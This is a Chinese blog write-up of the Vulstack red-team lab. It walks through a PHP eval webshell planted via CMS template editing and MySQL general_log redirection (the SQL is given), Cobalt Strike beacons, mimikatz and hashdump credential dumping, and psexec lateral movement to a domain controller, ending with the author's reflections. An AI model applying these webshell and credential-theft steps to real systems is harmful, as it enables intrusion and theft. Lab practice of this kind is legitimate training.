Vulstack(一)

发布于 2021-09-17  152 次阅读


已知信息和目标

  • IP:10.203.87.177 (咱们假设他是一个公网IP熬!)
  • 对其进行一个内网渗透

第一层靶机

信息收集

端口:

80/tcp   open  http
3306/tcp open mysql

目录:

存在yscmsphpmyadmin以及beifen.rar的备份文件

对yscms进行尝试

本来想找找它的版本,这公告好像在侮辱我一样!那我就只能含泪笑纳了。我哭了(我装的)

image-20210913212847262

就这,就这,就这???这是我后台进入最顺利的一次

image-20210913213042916

管理首页功能处,发现一个前台模板管理功能,对 宝贝 你引起了 我的注意

image-20210914120735912

通过 观察前台URL处,不难发现都是通过文件包含调用这些前台模板文件

image-20210914120823755

直接在前台index_index.php插入一句话木马

image-20210914120920406

成功获取webshell

image-20210914120951088

对phpmyadmin进行尝试

弱密码root/root成功登录

image-20210914121103594

查看数据表内的信息,发现没有可以利用的信息

image-20210914121235197

尝试使用phpmyadmin进行getshell

网站getshell

通过查看phpmyadmin环境变量,可以发现都是phpstudy集成在一起的

结合上面对yxcms的测试可以推测网站的绝对路径为C:\phpStudy\www\yxcms

image-20210914121717849

查询数据库是否对网站有读写权限

select @@secure_file_priv -- 查询
-- secure_file_priv=NULL,禁止导入导出
-- secure_file_priv='',不限制导入导出
-- secure_file_priv=/path/,只能向指定目录导入导出

如果该配置项开启

select load_file('c:/phpinfo.php'); -- 读取文件
select '123' into outfile 'c:/shell.php'; -- 写入文件

因为这个配置项没有开启,并且只能通过修改mysql.ini,因此只能放弃这种方式。

日志GetShell

MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量,打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。

查询日志全局变量

show variables like '%general%';
-- general_log:日志保存状态
-- general_log_file:日志保存路径
image-20210914131652943

开启日志保存并配置保存路径

set global general_log = "ON"; -- 打开日志保存

set global general_log_file = "G:/phpstudy/WWW/log.php"; -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接
image-20210914132043413

写入webshell

select '<?php eval($_POST[pwd]); ?>';
image-20210914132555927

成功拿下目标机器。

痕迹清理

  • YScms getshell之后在,在同级目录下面的index.php插入一句话木马,删除掉自己的木马
  • phpmyadmin的日志文件,因为 修改了配置项,可以在将其修改回去,并将木马日志删除。

Webshell上线CS

cs创建监听器,payload选择Beacon HTTP

image-20210917153623054

生成后门文件,这里选择刚才创建的监听器:

image-20210917153757275

利用webshell管理工具,上传生成的后门文件,然后在命令行运行即可上线:

image-20210917154018544

调整心跳值,我这里是自己搭建的环境,所以心跳值调低一点,提高相应速度。如果是真实环境的话,建议不要太低

beacon中执行sleep 0

image-20210917154345061

主机信息收集

本机信息

网卡信息

两块网卡,一块网卡通向外网,一块内网网卡。

image-20210914140120563

systeminfo命令不能正常执行,通过查看c:\Windows目录

  • 32位系统可以找到system32文件夹
  • 64位系统则可以找到system32文件夹和SysWOW64两个文件夹

这里也可以使用echo % PROCESSOR_ARCHITECTURE%,但是这个不够准确,因为有时候他是64位机器,但是在跑32位的应用,会导致了环境变量是32位。

image-20210917155929712

systeminfo

主机名:           STU1
OS 名称:         Microsoft Windows 7 专业版
OS 版本:         6.1.7601 Service Pack 1 Build 7601
OS 制造商:       Microsoft Corporation
OS 配置:         成员工作站
OS 构件类型:     Multiprocessor Free
注册的所有人:     Windows 用户
注册的组织:      
产品 ID:         00371-177-0000061-85693
初始安装日期:     2019/8/25, 9:54:10
系统启动时间:     2021/9/13, 20:21:14
系统制造商:       VMware, Inc.
系统型号:         VMware Virtual Platform
系统类型:         x64-based PC
处理器:           安装了 1 个处理器。
                [01]: Intel64 Family 6 Model 158 Stepping 9 GenuineIntel ~3408 Mhz
BIOS 版本:       Phoenix Technologies LTD 6.00, 2020/7/22
Windows 目录:     C:\Windows
系统目录:         C:\Windows\system32
启动设备:         \Device\HarddiskVolume1
系统区域设置:     zh-cn;中文(中国)
输入法区域设置:   zh-cn;中文(中国)
时区:             (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量:     2,047 MB
可用的物理内存:   373 MB
虚拟内存: 最大值: 4,095 MB
虚拟内存: 可用:   2,180 MB
虚拟内存: 使用中: 1,915 MB
页面文件位置:     C:\pagefile.sys
域:               god.org
登录服务器:       \\OWA
修补程序:         安装了 4 个修补程序。
                [01]: KB2534111
                [02]: KB2999226
                [03]: KB958488
                [04]: KB976902
网卡:             安装了 6 个 NIC。
                [01]: Intel(R) PRO/1000 MT Network Connection
                    连接名:     本地连接
                    启用 DHCP:   否
                    IP 地址
                      [01]: 10.203.87.177
                      [02]: fe80::647d:d2d9:c482:23ec
                [02]: Bluetooth 设备(个人区域网)
                    连接名:     Bluetooth 网络连接
                    状态:       媒体连接已中断
                [03]: TAP-Windows Adapter V9
                    连接名:     本地连接 2
                    状态:       媒体连接已中断
                [04]: Microsoft Loopback Adapter
                    连接名:     Npcap Loopback Adapter
                    状态:       没有硬件
                [05]: TAP-Windows Adapter V9
                    连接名:     本地连接 3
                    状态:       媒体连接已中断
                [06]: Intel(R) PRO/1000 MT Network Connection
                    连接名:     本地连接 4
                    启用 DHCP:   是
                    DHCP 服务器: 192.168.52.254
                    IP 地址
                      [01]: 192.168.52.128
                      [02]: fe80::294a:a094:512a:1cda

安装软件信息

查询已安装的软件及版本信息:wmic product get name,version

image-20210917160155389

进程和服务

image-20210917160256149

域内信息收集

查看域内用户

查看域内全部用户的详细信息 wmic useraccount get /all

image-20210917161342561

查看域管理员:net group "domain admins" /domain,我这里权限不够,执行失败

image-20210917161750140

存活主机

可以使用如下命令:

for /L %a in (1,1,254) DO @ping -n 1 192.168.1.%a | findstr "TTL" >> pinglog.txt
image-20210914164414902

可以使用工具serverscan或者fcan

image-20210914160217091

查看路由信息arp -a

image-20210917162112555

使用cs进行探测

image-20210917165050468

域控识别

结合systeminfo信息和serverscan探测信息,登录服务器位OWA而且,serverscan探测出192.168.52.138的主机名位OWA,由此可以推测该机器为域控机器

整理信息:

IP机器名任务版本
10.203.87.177 192.168.52.128stu1Web服务器Microsoft Windows 7 专业版
192.168.52.138OWA域控服务器Microsoft Windows 2003 or 2008
192.168.52.141ROOT-TVI862UBEH成员服务器Microsoft Windows 2003 or 2008

内存、注册表密码

使用hashdump读取内存密码:命令hashdump

image-20210917165603003

使用mimikatz读取注册表密码:命令logonpasswords

image-20210917170135878

通过查看凭证信息,可以获取相关账号密码:

image-20210917170313027

横向移动

SMB Beacon

另外这里还要介绍下 cs 派生 SMB Beacon

SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效

第一种直接派生一个孩子,目的为了进一步盗取内网主机的 hash

创建一个新的监听,设置payloadBeacon SMB

image-20210917170735145

在已有的Beacon上右键Spawn(生成会话/派生),选择创建的SMB:

image-20210917170928780
image-20210917171353551
image-20210917171333424

第二种在已有的 beacon 上创建监听,用来作为跳板进行内网穿透

前提是能够通过 shell 之类访问到内网其他主机

pserxec凭证登录其他主机

根据前面获取的凭证信息,尝试使用psexec模块登录内网其他机器

选择ROOT-TVI862UBEHpsexec 模块:

image-20210917173010888
image-20210917173240075

同理拿到域控机器owabeacon

最终的网络拓扑如下:

image-20210917173631065

派生msf横向移动

前面 psexec 能迅速地获得域控主机的 beacon 是因为我们读取到了域管理员账号密码的 hash

但是一般情况下,我们是获取不到的,所以多种方法都需要学会使用

csmsf 联动的话,可以使用 cs 开启 socks,然后 msf 将代理设置为此代理进行扫描

也可以直接用 cs 派生一个 msfmeterpreter 会话

根据主机端口开放的情况深入进行攻击。

总结反思

这次靶场做的很不顺利,遇到的问题很多,也意识到了自己的很多不足。

自身不足:

  • 首先MSF,扫描模块使用不够熟练,没有真正用上,第一台靶机本来首先上线的是meterpreter,而且已经构建好了frp代理,但是不知道 如何 让 MSFfrp代理,就很笨
  • 对域不够熟练,拿下第一台机器之后,没有首先收集本机信息和域内信息,并且没有分析网络拓扑
  • Windows渗透,恐惧了,思路很混乱没有章法,自己做的时候甚至没有去扫端口

改正措施:

  • 强化练习msf,分析msf各个模块的功能,提高自己对msf的熟练度
  • 明确代理方式,这个如何 让 MSFfrp代理,后来反思其实很简单,
    • 配置全局的socks 5代理
    • 弃用FRP使用msf内置的socks模块
    • msf设置代理set proxies socks5:127.0.0.1:8990
  • 多参考别人文章,多学习信息收集的骚姿势,争取早日构建出自己的内网知识体系
  • 明确思路!明确思路!明确思路!重要的事情说三遍。安全所有的知识其实最重要的在于 思路。学习完基本技能之后,更多的就是去学习别人的思路,扩展自己的思路,一切都有了章法,能力自然而然也就上去了

学会了什么:

  • 工具:这次靶场,虽然不太成功,但是根据别的师傅的博客,也磕磕绊绊的完成了。而且学会了简单的cs的使用,自身感觉cs其实就是msf的强化版。在中途还接触了Viper(炫彩蛇)这个工具。感觉都是差不多的,核心都在于msf,熟练使用一个其他的上手都很快
  • 代理:这次靶场对流量的感受有多了很多,流量的流向太关键了。每一块网卡,就像一个水龙头,流量就像水龙头里面的水。能接触到那的水龙头,就能控制那一部分的流量。当然,不通水龙头直接的联通也很关键。不要把流量想的很复杂,弄清走向和端口之间的关系,就会发现很简单。难点在于稳定,隐匿。

参考文章

https://soapffz.com/sec/558.html

https://www.freebuf.com/column/231111.html